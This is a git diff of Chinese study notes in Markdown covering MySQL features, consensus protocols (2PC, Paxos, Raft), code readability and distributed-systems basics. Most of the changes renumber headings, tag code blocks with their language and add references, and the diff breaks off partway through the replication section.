命令行中创建存储过程需要自定义分隔符,因为命令行是以 ; 为结束符,而存储过程中也包含了分号,因此会错误把这部分分号当成是结束符,造成语法错误。
|
||||
|
||||
@ -561,13 +554,13 @@ call myprocedure(@ret);
|
||||
select @ret;
|
||||
```
|
||||
|
||||
# 游标
|
||||
# 十九、游标
|
||||
|
||||
在存储过程中使用游标可以对一个结果集进行移动遍历。
|
||||
|
||||
游标主要用于交互式应用,其中用户需要对数据集中的任意行进行浏览和修改。
|
||||
|
||||
**使用游标的四个步骤:**
|
||||
使用游标的四个步骤:
|
||||
|
||||
1. 声明游标,这个过程没有实际检索出数据;
|
||||
2. 打开游标;
|
||||
@ -597,7 +590,7 @@ create procedure myprocedure(out ret int)
|
||||
delimiter ;
|
||||
```
|
||||
|
||||
# 触发器
|
||||
# 二十、触发器
|
||||
|
||||
触发器会在某个表执行以下语句时而自动执行:DELETE、INSERT、UPDATE
|
||||
|
||||
@ -618,16 +611,16 @@ UPDATE 触发器包含一个名为 NEW 和一个名为 OLD 的虚拟表,其中
|
||||
|
||||
MySQL 不允许在触发器中使用 CALL 语句 ,也就是不能调用存储过程。
|
||||
|
||||
# 事务处理
|
||||
# 二十一、事务处理
|
||||
|
||||
**基本术语**
|
||||
基本术语:
|
||||
|
||||
1. 事务(transaction)指一组 SQL 语句;
|
||||
2. 回退(rollback)指撤销指定 SQL 语句的过程;
|
||||
3. 提交(commit)指将未存储的 SQL 语句结果写入数据库表;
|
||||
4. 保留点(savepoint)指事务处理中设置的临时占位符(placeholder),你可以对它发布回退(与回退整个事务处理不同)。
|
||||
|
||||
不能回退 SELECT 语句,回退 SELECT 语句也没意义;也不能回退 CRETE 和 DROP 语句。
|
||||
不能回退 SELECT 语句,回退 SELECT 语句也没意义;也不能回退 CREATE 和 DROP 语句。
|
||||
|
||||
MySQL 的事务提交默认是隐式提交,也就是每执行一条语句就把这条语句当成一个事务然后进行提交。当出现 START TRANSACTION 语句时,会关闭隐式提交;当 COMMIT 或 ROLLBACK 语句执行后,事务会自动关闭,重新恢复隐式提交。
|
||||
|
||||
@ -645,9 +638,9 @@ ROLLBACK TO delete1
|
||||
COMMIT
|
||||
```
|
||||
|
||||
# 字符集
|
||||
# 二十二、字符集
|
||||
|
||||
**基本术语**
|
||||
基本术语:
|
||||
|
||||
1. 字符集为字母和符号的集合;
|
||||
2. 编码为某个字符集成员的内部表示;
|
||||
@ -669,7 +662,7 @@ FROM mytable
|
||||
ORDER BY col COLLATE latin1_general_ci;
|
||||
```
|
||||
|
||||
# 权限管理
|
||||
# 二十三、权限管理
|
||||
|
||||
MySQL 的账户信息保存在 mysql 这个数据库中。
|
||||
|
||||
@ -678,7 +671,7 @@ USE mysql;
|
||||
SELECT user FROM user;
|
||||
```
|
||||
|
||||
**创建账户**
|
||||
## 创建账户
|
||||
|
||||
```sql
|
||||
CREATE USER myuser IDENTIFIED BY 'mypassword';
|
||||
@ -686,35 +679,33 @@ CREATE USER myuser IDENTIFIED BY 'mypassword';
|
||||
|
||||
新创建的账户没有任何权限。
|
||||
|
||||
**修改账户名**
|
||||
## 修改账户名
|
||||
|
||||
```sql
|
||||
RENAME myuser TO newuser;
|
||||
```
|
||||
|
||||
**删除账户**
|
||||
## 删除账户
|
||||
|
||||
```sql
|
||||
DROP USER myuser;
|
||||
```
|
||||
|
||||
**查看权限**
|
||||
## 查看权限
|
||||
|
||||
```sql
|
||||
SHOW GRANTS FOR myuser;
|
||||
```
|
||||
|
||||
**授予权限**
|
||||
## 授予权限
|
||||
|
||||
```sql
|
||||
GRANT SELECT, INSERT ON mydatabase.* TO myuser;
|
||||
```
|
||||
|
||||
<div align="center"> <img src="../pics//c73aa08e-a987-43c9-92be-adea4a884c25.png"/> </div><br>
|
||||
|
||||
账户用 username@host 的形式定义,username@% 使用的是默认主机名。
|
||||
|
||||
**删除权限**
|
||||
## 删除权限
|
||||
|
||||
```sql
|
||||
REVOKE SELECT, INSERT ON mydatabase.* FROM myuser;
|
||||
@ -728,7 +719,7 @@ GRANT 和 REVOKE 可在几个层次上控制访问权限:
|
||||
- 特定的列;
|
||||
- 特定的存储过程。
|
||||
|
||||
**更改密码**
|
||||
## 更改密码
|
||||
|
||||
必须使用 Password() 函数
|
||||
|
||||
@ -736,3 +727,6 @@ GRANT 和 REVOKE 可在几个层次上控制访问权限:
|
||||
SET PASSWROD FOR myuser = Password('newpassword');
|
||||
```
|
||||
|
||||
# 参考资料
|
||||
|
||||
- BenForta. SQL 必知必会 [M]. 人民邮电出版社, 2013.
|
157
notes/一致性协议.md
Normal file
@ -0,0 +1,157 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [一、两阶段提交协议](#一两阶段提交协议)
|
||||
* [二、Paxos 协议](#二paxos-协议)
|
||||
* [三、Raft 协议](#三raft-协议)
|
||||
* [四、拜占庭将军问题](#四拜占庭将军问题)
|
||||
* [五、参考资料](#五参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# 一、两阶段提交协议
|
||||
|
||||
Two-phase Commit(2PC)。
|
||||
|
||||
可以保证一个事务跨越多个节点时保持 ACID 特性。
|
||||
|
||||
两类节点:协调者(Coordinator)和参与者(Participants),协调者只有一个,参与者可以有多个。
|
||||
|
||||
## 运行过程
|
||||
|
||||
1. 准备阶段:协调者询问参与者事务是否执行成功;
|
||||
|
||||
2. 提交阶段:如果事务在每个参与者上都执行成功,协调者发送通知让参与者提交事务;否则,协调者发送通知让参与者回滚事务。
|
||||
|
||||
<div align="center"> <img src="../pics//07717718-1230-4347-aa18-2041c315e670.jpg"/> </div><br>
|
||||
|
||||
|
||||
需要注意的是,在准备阶段,参与者执行了事务,但是还未提交。只有在提交阶段接收到协调者发来的通知后,才进行提交或者回滚。
|
||||
|
||||
## 存在的问题
|
||||
|
||||
- 参与者发生故障。解决方案:可以给事务设置一个超时时间,如果某个参与者一直不响应,那么认为事务执行失败。
|
||||
|
||||
- 协调者发生故障。解决方案:将操作日志同步到备用协调者,让备用协调者接替后续工作。
|
||||
|
||||
# 二、Paxos 协议
|
||||
|
||||
用于达成共识性问题,即对多个节点产生的值,该算法能保证只选出唯一一个值。
|
||||
|
||||
主要有三类节点:
|
||||
|
||||
1. 提议者(Proposer):提议一个值;
|
||||
2. 接受者(Acceptor):对每个提议进行投票;
|
||||
3. 告知者(Learner):被告知投票的结果,不参与投票过程。
|
||||
|
||||
<div align="center"> <img src="../pics//0aaf4630-d2a2-4783-b3f7-a2b6a7dfc01b.jpg"/> </div><br>
|
||||
|
||||
## 执行过程
|
||||
|
||||
规定一个提议包含两个字段:[n, v],其中 n 为序号(具有唯一性),v 为提议值。
|
||||
|
||||
下图演示了两个 Proposer 和三个 Acceptor 的系统中运行该算法的初始过程,每个 Proposer 都会向所有 Acceptor 发送提议请求。
|
||||
|
||||
<div align="center"> <img src="../pics//2bf2fd8f-5ade-48ba-a2b3-74195ac77c4b.png" width="500"/> </div><br>
|
||||
|
||||
当 Acceptor 接收到一个提议请求,包含的提议为 [n1, v1],并且之前还未接收过提议请求,那么发送一个提议响应,设置当前接收到的提议为 [n1, v1],并且保证以后不会再接受序号小于 n1 的提议。
|
||||
|
||||
如下图,Acceptor X 在收到 [n=2, v=8] 的提议请求时,由于之前没有接收过提议,因此就发送一个 [no previous] 的提议响应,并且设置当前接收到的提议为 [n=2, v=8],并且保证以后不会再接受序号小于 2 的提议。其它的 Acceptor 类似。
|
||||
|
||||
<div align="center"> <img src="../pics//3f5bba4b-7813-4aea-b578-970c7e3f6bf3.jpg"/> </div><br>
|
||||
|
||||
如果 Acceptor 接收到一个提议请求,包含的提议为 [n2, v2],并且之前已经接收过提议 [n1, v1]。如果 n1 > n2,那么就丢弃该提议请求;否则,发送提议响应,该提议响应包含之前已经接收过的提议 [n1, v1],设置当前接收到的提议为 [n2, v2],并且保证以后不会再接受序号小于 n2 的提议。
|
||||
|
||||
如下图,Acceptor Z 收到 Proposer A 发来的 [n=2, v=8] 的提议请求,由于之前已经接收过 [n=4, v=5] 的提议,并且 n > 2,因此就抛弃该提议请求;Acceptor X 收到 Proposer B 发来的 [n=4, v=5] 的提议请求,因为之前接收到的提议为 [n=2, v=8],并且 2 <= 4,因此就发送 [n=2, v=8] 的提议响应,设置当前接收到的提议为 [n=4, v=5],并且保证以后不会再接受序号小于 4 的提议。Acceptor Y 类似。
|
||||
|
||||
<div align="center"> <img src="../pics//9b829410-86c4-40aa-ba8d-9e8e26c0eeb8.jpg" width="600"/> </div><br>
|
||||
|
||||
当一个 Proposer 接收到超过一半 Acceptor 的提议响应时,就可以发送接受请求。
|
||||
|
||||
Proposer A 接收到两个提议响应之后,就发送 [n=2, v=8] 接受请求。该接受请求会被所有 Acceptor 丢弃,因为此时所有 Acceptor 都保证不接受序号小于 4 的提议。
|
||||
|
||||
Proposer B 过后也收到了两个提议响应,因此也开始发送接受请求。需要注意的是,接受请求的 v 需要取它收到的最大 v 值,也就是 8。因此它发送 [n=4, v=8] 的接受请求。
|
||||
|
||||
<div align="center"> <img src="../pics//2c4556e4-0751-4377-ab08-e7b89d697ca7.png" width="400"/> </div><br>
|
||||
|
||||
Acceptor 接收到接受请求时,如果序号大于等于该 Acceptor 承诺的最小序号,那么就发送通知给所有的 Learner。当 Learner 发现有大多数的 Acceptor 接收了某个提议,那么该提议的提议值就被 Paxos 选择出来。
|
||||
|
||||
<div align="center"> <img src="../pics//8adb2591-d3f1-4632-84cb-823fb9c5eb09.jpg"/> </div><br>
|
||||
|
||||
## 约束条件
|
||||
|
||||
### 1. 正确性
|
||||
|
||||
指只有一个提议值会生效。
|
||||
|
||||
因为 Paxos 协议要求每个生效的提议被多数 Acceptor 接收,并且 Acceptor 不会接受两个不同的提议,因此可以保证正确性。
|
||||
|
||||
### 2. 可终止性
|
||||
|
||||
指最后总会有一个提议生效。
|
||||
|
||||
Paxos 协议能够让 Proposer 发送的提议朝着能被大多数 Acceptor 接受的那个提议靠拢,因此能够保证可终止性。
|
||||
|
||||
# 三、Raft 协议
|
||||
|
||||
Raft 和 Paxos 类似,但是更容易理解,也更容易实现。
|
||||
|
||||
Raft 主要是用来竞选主节点。
|
||||
|
||||
## 单个 Candidate 的竞选
|
||||
|
||||
有三种节点:Follower、Candidate 和 Leader。Leader 会周期性的发送心跳包给 Follower。每个 Follower 都设置了一个随机的竞选超时时间,一般为 150ms\~300ms,如果在这个时间内没有收到 Leader 的心跳包,就会变成 Candidate,进入竞选阶段。
|
||||
|
||||
① 下图表示一个分布式系统的最初阶段,此时只有 Follower,没有 Leader。Follower A 等待一个随机的竞选超时时间之后,没收到 Leader 发来的心跳包,因此进入竞选阶段。
|
||||
|
||||
<div align="center"> <img src="../pics//111521118015898.gif"/> </div><br>
|
||||
|
||||
② 此时 A 发送投票请求给其它所有节点。
|
||||
|
||||
<div align="center"> <img src="../pics//111521118445538.gif"/> </div><br>
|
||||
|
||||
③ 其它节点会对请求进行回复,如果超过一半的节点回复了,那么该 Candidate 就会变成 Leader。
|
||||
|
||||
<div align="center"> <img src="../pics//111521118483039.gif"/> </div><br>
|
||||
|
||||
④ 之后 Leader 会周期性地发送心跳包给 Follower,Follower 接收到心跳包,会重新开始计时。
|
||||
|
||||
<div align="center"> <img src="../pics//111521118640738.gif"/> </div><br>
|
||||
|
||||
## 多个 Candidate 竞选
|
||||
|
||||
① 如果有多个 Follower 成为 Candidate,并且所获得票数相同,那么就需要重新开始投票,例如下图中 Candidate B 和 Candidate D 都获得两票,因此需要重新开始投票。
|
||||
|
||||
<div align="center"> <img src="../pics//111521119203347.gif"/> </div><br>
|
||||
|
||||
② 当重新开始投票时,由于每个节点设置的随机竞选超时时间不同,因此能下一次再次出现多个 Candidate 并获得同样票数的概率很低。
|
||||
|
||||
<div align="center"> <img src="../pics//111521119368714.gif"/> </div><br>
|
||||
|
||||
## 日志复制
|
||||
|
||||
① 来自客户端的修改都会被传入 Leader。注意该修改还未被提交,只是写入日志中。
|
||||
|
||||
<div align="center"> <img src="../pics//7.gif"/> </div><br>
|
||||
|
||||
② Leader 会把修改复制到所有 Follower。
|
||||
|
||||
<div align="center"> <img src="../pics//9.gif"/> </div><br>
|
||||
|
||||
③ Leader 会等待大多数的 Follower 也进行了修改,然后才将修改提交。
|
||||
|
||||
<div align="center"> <img src="../pics//10.gif"/> </div><br>
|
||||
|
||||
④ 此时 Leader 会通知的所有 Follower 让它们也提交修改,此时所有节点的值达成一致。
|
||||
|
||||
<div align="center"> <img src="../pics//11.gif"/> </div><br>
|
||||
|
||||
# 四、拜占庭将军问题
|
||||
|
||||
> [拜占庭将军问题深入探讨](http://www.8btc.com/baizhantingjiangjun)
|
||||
|
||||
# 五、参考资料
|
||||
|
||||
- 杨传辉. 大规模分布式存储系统: 原理解析与架构实战[M]. 机械工业出版社, 2013.
|
||||
- [区块链技术指南](https://www.gitbook.com/book/yeasy/blockchain_guide/details)
|
||||
- [NEAT ALGORITHMS - PAXOS](http://harry.me/blog/2014/12/27/neat-algorithms-paxos/)
|
||||
- [Raft: Understandable Distributed Consensus](http://thesecretlivesofdata.com/raft)
|
||||
- [Paxos By Example](https://angus.nyc/2012/paxos-by-example/)
|
@ -1,21 +1,22 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [可读性的重要性](#可读性的重要性)
|
||||
* [用名字表达代码含义](#用名字表达代码含义)
|
||||
* [名字不能带来歧义](#名字不能带来歧义)
|
||||
* [良好的代码风格](#良好的代码风格)
|
||||
* [编写注释](#编写注释)
|
||||
* [如何编写注释](#如何编写注释)
|
||||
* [提高控制流的可读性](#提高控制流的可读性)
|
||||
* [拆分长表达式](#拆分长表达式)
|
||||
* [变量与可读性](#变量与可读性)
|
||||
* [抽取函数](#抽取函数)
|
||||
* [一次只做一件事](#一次只做一件事)
|
||||
* [用自然语言表述代码](#用自然语言表述代码)
|
||||
* [减少代码量](#减少代码量)
|
||||
* [一、可读性的重要性](#一可读性的重要性)
|
||||
* [二、用名字表达代码含义](#二用名字表达代码含义)
|
||||
* [三、名字不能带来歧义](#三名字不能带来歧义)
|
||||
* [四、良好的代码风格](#四良好的代码风格)
|
||||
* [五、编写注释](#五编写注释)
|
||||
* [六、如何编写注释](#六如何编写注释)
|
||||
* [七、提高控制流的可读性](#七提高控制流的可读性)
|
||||
* [八、拆分长表达式](#八拆分长表达式)
|
||||
* [九、变量与可读性](#九变量与可读性)
|
||||
* [十、抽取函数](#十抽取函数)
|
||||
* [十一、一次只做一件事](#十一一次只做一件事)
|
||||
* [十二、用自然语言表述代码](#十二用自然语言表述代码)
|
||||
* [十三、减少代码量](#十三减少代码量)
|
||||
* [参考资料](#参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# 可读性的重要性
|
||||
# 一、可读性的重要性
|
||||
|
||||
编程有很大一部分时间是在阅读代码,不仅要阅读自己的代码,而且要阅读别人的代码。因此,可读性良好的代码能够大大提高编程效率。
|
||||
|
||||
@ -23,7 +24,7 @@
|
||||
|
||||
只有在核心领域为了效率才可以放弃可读性,否则可读性是第一位。
|
||||
|
||||
# 用名字表达代码含义
|
||||
# 二、用名字表达代码含义
|
||||
|
||||
一些比较有表达力的单词:
|
||||
|
||||
@ -38,7 +39,7 @@
|
||||
|
||||
为名字添加形容词等信息能让名字更具有表达力,但是名字也会变长。名字长短的准则是:作用域越大,名字越长。因此只有在短作用域才能使用一些简单名字。
|
||||
|
||||
# 名字不能带来歧义
|
||||
# 三、名字不能带来歧义
|
||||
|
||||
起完名字要思考一下别人会对这个名字有何解读,会不会误解了原本想表达的含义。
|
||||
|
||||
@ -48,13 +49,13 @@
|
||||
|
||||
布尔相关的命名加上 is、can、should、has 等前缀。
|
||||
|
||||
# 良好的代码风格
|
||||
# 四、良好的代码风格
|
||||
|
||||
适当的空行和缩进。
|
||||
|
||||
排列整齐的注释:
|
||||
|
||||
```
|
||||
```java
|
||||
int a = 1; // 注释
|
||||
int b = 11; // 注释
|
||||
int c = 111; // 注释
|
||||
@ -64,7 +65,7 @@ int c = 111; // 注释
|
||||
|
||||
把相关的代码按块组织起来放在一起。
|
||||
|
||||
# 编写注释
|
||||
# 五、编写注释
|
||||
|
||||
阅读代码首先会注意到注释,如果注释没太大作用,那么就会浪费代码阅读的时间。那些能直接看出含义的代码不需要写注释,特别是并不需要为每个方法都加上注释,比如那些简单的 getter 和 setter 方法,为这些方法写注释反而让代码可读性更差。
|
||||
|
||||
@ -83,24 +84,24 @@ int c = 111; // 注释
|
||||
|HACH| 粗糙的解决方案 |
|
||||
|XXX| 危险!这里有重要的问题 |
|
||||
|
||||
# 如何编写注释
|
||||
# 六、如何编写注释
|
||||
|
||||
尽量简洁明了:
|
||||
|
||||
```
|
||||
```java
|
||||
// The first String is student's name
|
||||
// The Second Integer is student's score
|
||||
Map<String, Integer> scoreMap = new HashMap<>();
|
||||
```
|
||||
|
||||
```
|
||||
```java
|
||||
// Student' name -> Student's score
|
||||
Map<String, Integer> scoreMap = new HashMap<>();
|
||||
```
|
||||
|
||||
添加测试用例来说明:
|
||||
|
||||
```
|
||||
```java
|
||||
//...
|
||||
// Example: add(1, 2), return 3
|
||||
int add(int x, int y) {
|
||||
@ -110,7 +111,7 @@ int add(int x, int y) {
|
||||
|
||||
在很复杂的函数调用中对每个参数标上名字:
|
||||
|
||||
```
|
||||
```java
|
||||
int a = 1;
|
||||
int b = 2;
|
||||
int num = add(\* x = *\ a, \* y = *\ b);
|
||||
@ -118,17 +119,18 @@ int num = add(\* x = *\ a, \* y = *\ b);
|
||||
|
||||
使用专业名词来缩短概念上的解释,比如用设计模式名来说明代码。
|
||||
|
||||
# 提高控制流的可读性
|
||||
# 七、提高控制流的可读性
|
||||
|
||||
条件表达式中,左侧是变量,右侧是常数。比如下面第一个语句正确:
|
||||
|
||||
```
|
||||
```java
|
||||
if(len < 10)
|
||||
if(10 > len)
|
||||
```
|
||||
|
||||
if / else 条件语句,逻辑的处理顺序为:① 正逻辑;② 关键逻辑;③ 简单逻辑。
|
||||
```
|
||||
|
||||
```java
|
||||
if(a == b) {
|
||||
// 正逻辑
|
||||
} else{
|
||||
@ -144,15 +146,15 @@ do / while 的条件放在后面,不够简单明了,并且会有一些迷惑
|
||||
|
||||
在嵌套的循环中,用一些 return 语句往往能减少嵌套的层数。
|
||||
|
||||
# 拆分长表达式
|
||||
# 八、拆分长表达式
|
||||
|
||||
长表达式的可读性很差,可以引入一些解释变量从而拆分表达式:
|
||||
|
||||
```
|
||||
```python
|
||||
if line.split(':')[0].strip() == "root":
|
||||
...
|
||||
```
|
||||
```
|
||||
```python
|
||||
username = line.split(':')[0].strip()
|
||||
if username == "root":
|
||||
...
|
||||
@ -160,22 +162,22 @@ if username == "root":
|
||||
|
||||
使用摩根定理简化一些逻辑表达式:
|
||||
|
||||
```
|
||||
```java
|
||||
if(!a && !b) {
|
||||
...
|
||||
}
|
||||
```
|
||||
```
|
||||
if(a || b) {
|
||||
```java
|
||||
if(!(a || b)) {
|
||||
...
|
||||
}
|
||||
```
|
||||
|
||||
# 变量与可读性
|
||||
# 九、变量与可读性
|
||||
|
||||
**去除控制流变量** 。在循环中通过使用 break 或者 return 可以减少控制流变量的使用。
|
||||
|
||||
```
|
||||
```java
|
||||
boolean done = false;
|
||||
while(/* condition */ && !done) {
|
||||
...
|
||||
@ -198,7 +200,7 @@ while(/* condition */) {
|
||||
|
||||
JavaScript 可以用闭包减小作用域。以下代码中 submit_form 是函数变量,submitted 变量控制函数不会被提交两次。第一个实现中 submitted 是全局变量,第二个实现把 submitted 放到匿名函数中,从而限制了起作用域范围。
|
||||
|
||||
```
|
||||
```js
|
||||
submitted = false;
|
||||
var submit_form = function(form_name) {
|
||||
if(submitted) {
|
||||
@ -208,7 +210,7 @@ var submit_form = function(form_name) {
|
||||
};
|
||||
```
|
||||
|
||||
```
|
||||
```js
|
||||
var submit_form = (function() {
|
||||
var submitted = false;
|
||||
return function(form_name) {
|
||||
@ -228,7 +230,7 @@ JavaScript 中没有用 var 声明的变量都是全局变量,而全局变量
|
||||
|
||||
在一个网页中有以下文本输入字段:
|
||||
|
||||
```
|
||||
```html
|
||||
<input type = "text" id = "input1" value = "a">
|
||||
<input type = "text" id = "input2" value = "b">
|
||||
<input type = "text" id = "input3" value = "">
|
||||
@ -237,7 +239,7 @@ JavaScript 中没有用 var 声明的变量都是全局变量,而全局变量
|
||||
|
||||
现在要接受一个字符串并把它放到第一个空的 input 字段中,初始实现如下:
|
||||
|
||||
```
|
||||
```js
|
||||
var setFirstEmptyInput = function(new_alue) {
|
||||
var found = false;
|
||||
var i = 1;
|
||||
@ -261,7 +263,7 @@ var setFirstEmptyInput = function(new_alue) {
|
||||
- elem 作用域过大;
|
||||
- 可以用 for 循环代替 while 循环;
|
||||
|
||||
```
|
||||
```js
|
||||
var setFirstEmptyInput = function(new_value) {
|
||||
for(var i = 1; true; i++) {
|
||||
var elem = document.getElementById('input' + i);
|
||||
@ -276,7 +278,7 @@ var setFirstEmptyInput = function(new_value) {
|
||||
};
|
||||
```
|
||||
|
||||
# 抽取函数
|
||||
# 十、抽取函数
|
||||
|
||||
工程学就是把大问题拆分成小问题再把这些问题的解决方案放回一起。
|
||||
|
||||
@ -284,7 +286,7 @@ var setFirstEmptyInput = function(new_value) {
|
||||
|
||||
介绍性的代码:
|
||||
|
||||
```
|
||||
```java
|
||||
int findClostElement(int[] arr) {
|
||||
int clostIdx;
|
||||
int clostDist = Interger.MAX_VALUE;
|
||||
@ -305,7 +307,7 @@ int findClostElement(int[] arr) {
|
||||
|
||||
以上代码中循环部分主要计算距离,这部分不属于代码高层次目标,高层次目标是寻找最小距离的值,因此可以把这部分代替提取到独立的函数中。这样做也带来一个额外的好处有:可以单独进行测试、可以快速找到程序错误并修改。
|
||||
|
||||
```
|
||||
```java
|
||||
public int findClostElement(int[] arr) {
|
||||
int clostIdx;
|
||||
int clostDist = Interger.MAX_VALUE;
|
||||
@ -324,18 +326,22 @@ public int findClostElement(int[] arr) {
|
||||
|
||||
函数抽取也用于减小代码的冗余。
|
||||
|
||||
# 一次只做一件事
|
||||
# 十一、一次只做一件事
|
||||
|
||||
只做一件事的代码很容易让人知道其要做的事;
|
||||
|
||||
基本流程:列出代码所做的所有任务;把每个任务拆分到不同的函数,或者不同的段落。
|
||||
|
||||
# 用自然语言表述代码
|
||||
# 十二、用自然语言表述代码
|
||||
|
||||
先用自然语言书写代码逻辑,也就是伪代码,然后再写代码,这样代码逻辑会更清晰。
|
||||
|
||||
# 减少代码量
|
||||
# 十三、减少代码量
|
||||
|
||||
不要过度设计,编码过程会有很多变化,过度设计的内容到最后往往是无用的。
|
||||
|
||||
多用标准库实现。
|
||||
|
||||
# 参考资料
|
||||
|
||||
- Dustin, Boswell, Trevor, 等. 编写可读代码的艺术 [M]. 机械工业出版社, 2012.
|
||||
|
208
notes/分布式基础.md
Normal file
@ -0,0 +1,208 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [一、基本概念](#一基本概念)
|
||||
* [异常](#异常)
|
||||
* [超时](#超时)
|
||||
* [衡量指标](#衡量指标)
|
||||
* [二、数据分布](#二数据分布)
|
||||
* [哈希分布](#哈希分布)
|
||||
* [顺序分布](#顺序分布)
|
||||
* [三、负载均衡](#三负载均衡)
|
||||
* [四、复制](#四复制)
|
||||
* [强同步复制协议](#强同步复制协议)
|
||||
* [异步复制协议](#异步复制协议)
|
||||
* [五、CAP](#五cap)
|
||||
* [六、BASE](#六base)
|
||||
* [基本可用](#基本可用)
|
||||
* [软状态](#软状态)
|
||||
* [最终一致性](#最终一致性)
|
||||
* [七、容错](#七容错)
|
||||
* [故障检测](#故障检测)
|
||||
* [故障恢复](#故障恢复)
|
||||
* [八、CDN 架构](#八cdn-架构)
|
||||
* [参考资料](#参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# 一、基本概念
|
||||
|
||||
## 异常
|
||||
|
||||
### 1. 服务器宕机
|
||||
|
||||
内存错误、服务器停电等都会导致服务器宕机,此时节点无法正常工作,称为不可用。
|
||||
|
||||
服务器宕机会导致节点失去所有内存信息,因此需要将内存信息保存到持久化介质上。
|
||||
|
||||
### 2. 网络异常
|
||||
|
||||
有一种特殊的网络异常称为 **网络分区** ,即集群的所有节点被划分为多个区域,每个区域内部可以通信,但是区域之间无法通信。
|
||||
|
||||
### 3. 磁盘故障
|
||||
|
||||
磁盘故障是一种发生概率很高的异常。
|
||||
|
||||
使用冗余机制,将数据存储到多台服务器。
|
||||
|
||||
## 超时
|
||||
|
||||
在分布式系统中,一个请求除了成功和失败两种状态,还存在着超时状态。
|
||||
|
||||
<div align="center"> <img src="../pics//b0e8ef47-2f23-4379-8c64-10d5cb44d438.jpg"/> </div><br>
|
||||
|
||||
可以将服务器的操作设计为具有 **幂等性** ,即执行多次的结果与执行一次的结果相同。如果使用这种方式,当出现超时的时候,可以不断地重新请求直到成功。
|
||||
|
||||
## 衡量指标
|
||||
|
||||
### 1. 性能
|
||||
|
||||
常见的性能指标有:吞吐量、响应时间。
|
||||
|
||||
其中,吞吐量指系统在某一段时间可以处理的请求总数,通常为每秒的读操作数或者写操作数;响应时间指从某个请求发出到接收到返回结果消耗的时间。
|
||||
|
||||
这两个指标往往是矛盾的,追求高吞吐的系统,往往很难做到低响应时间,解释如下:
|
||||
|
||||
- 在无并发的系统中,吞吐量为响应时间的倒数,例如响应时间为 10 ms,那么吞吐量为 100 req/s,因此高吞吐也就意味着低响应时间。
|
||||
|
||||
- 但是在并发的系统中,由于一个请求在调用 I/O 资源的时候,需要进行等待。服务器端一般使用的是异步等待方式,即等待的请求被阻塞之后不需要一直占用 CPU 资源。这种方式能大大提高 CPU 资源的利用率,例如上面的例子中,单个请求在无并发的系统中响应时间为 10 ms,如果在并发的系统中,那么吞吐量将大于 100 req/s。因此为了追求高吞吐量,通常会提高并发程度。但是并发程度的增加,会导致请求的平均响应时间也增加,因为请求不能马上被处理,需要和其它请求一起进行并发处理,响应时间自然就会增高。
|
||||
|
||||
### 2. 可用性
|
||||
|
||||
可用性指系统在面对各种异常时可以提供正常服务的能力。可以用系统可用时间占总时间的比值来衡量,4 个 9 的可用性表示系统 99.99% 的时间是可用的。
|
||||
|
||||
### 3. 一致性
|
||||
|
||||
可以从两个角度理解一致性:从客户端的角度,读写操作是否满足某种特性;从服务器的角度,多个数据副本之间是否一致。
|
||||
|
||||
有以下三种一致性模型:
|
||||
|
||||
1. 强一致性:新数据写入之后,在任何数据副本上都能读取到最新值;
|
||||
2. 弱一致性:新数据写入之后,不能保证在数据副本上能读取到最新值;
|
||||
3. 最终一致性:新数据写入之后,只能保证过了一个时间窗口后才能在数据副本上读取到最新值;
|
||||
|
||||
### 4. 可扩展性
|
||||
|
||||
指系统通过扩展集群服务器规模来提高性能的能力。理想的分布式系统需要实现“线性可扩展”,即随着集群规模的增加,系统的整体性能也会线性增加。
|
||||
|
||||
# 二、数据分布
|
||||
|
||||
分布式系统的数据分布在多个节点中,常用的数据分布方式有哈希分布和顺序分布。
|
||||
|
||||
## 哈希分布
|
||||
|
||||
哈希分布就是将数据计算哈希值之后,按照哈希值分配到不同的节点上。例如有 N 个节点,数据的主键为 key,则将该数据分配的节点序号为:hash(key)%N。
|
||||
|
||||
传统的哈希分布算法存在一个问题:当节点数量变化时,也就是 N 值变化,那么几乎所有的数据都需要重新分布,将导致大量的数据迁移。
|
||||
|
||||
**一致性哈希**
|
||||
|
||||
Distributed Hash Table(DHT):对于哈希空间 [0, 2<sup>n</sup>-1],将该哈希空间看成一个哈希环,将每个节点都配置到哈希环上。每个数据对象通过哈希取模得到哈希值之后,存放到哈希环中顺时针方向第一个大于等于该哈希值的节点上。
|
||||
|
||||
<div align="center"> <img src="../pics//d2d34239-e7c1-482b-b33e-3170c5943556.jpg"/> </div><br>
|
||||
|
||||
一致性哈希的优点是在加入或者删除节点时只会影响到哈希环中相邻的节点,例如下图中新增节点 X,只需要将数据对象 C 重新存放到节点 X 上即可,对于节点 A、B、D 都没有影响。
|
||||
|
||||
<div align="center"> <img src="../pics//91ef04e4-923a-4277-99c0-6be4ce81e5ac.jpg"/> </div><br>
|
||||
|
||||
## 顺序分布
|
||||
|
||||
哈希分布式破坏了数据的有序性,顺序分布则不会。
|
||||
|
||||
顺序分布的数据划分为多个连续的部分,按一定策略分布到不同节点上。例如下图中,User 表的主键范围为 1 \~ 7000,使用顺序分布可以将其划分成多个子表,对应的主键范围为 1 \~ 1000,1001 \~ 2000,...,6001 \~ 7000。
|
||||
|
||||
引入 Meta 表是为了支持更大的集群规模,它将原来的一层索引结分成两层,Meta 维护着 User 子表所在的节点,从而减轻 Root 节点的负担。
|
||||
|
||||
<div align="center"> <img src="../pics//8f64e9c5-7682-4feb-9312-dea09514e160.jpg"/> </div><br>
|
||||
|
||||
# 三、负载均衡
|
||||
|
||||
衡量负载的因素很多,如 CPU、内存、磁盘等资源使用情况、读写请求数等。分布式系统应当能够自动负载均衡,当某个节点的负载较高,将它的部分数据迁移到其它节点。
|
||||
|
||||
每个集群都有一个总控节点,其它节点为工作节点,由总控节点根据全局负载信息进行整体调度,工作节点定时发送心跳包(Heartbeat)将节点负载相关的信息发送给总控节点。
|
||||
|
||||
一个新上线的工作节点,由于其负载较低,如果不加控制,总控节点会将大量数据同时迁移到该节点上,造成该节点一段时间内无法工作。因此负载均衡操作需要平滑进行,新加入的节点需要较长的一段时间来达到比较均衡的状态。
|
||||
|
||||
# 四、复制
|
||||
|
||||
复制是保证分布式系统高可用的基础,让一个数据存储多个副本,当某个副本所在的节点出现故障时,能够自动切换到其它副本上,从而实现故障恢复。
|
||||
|
||||
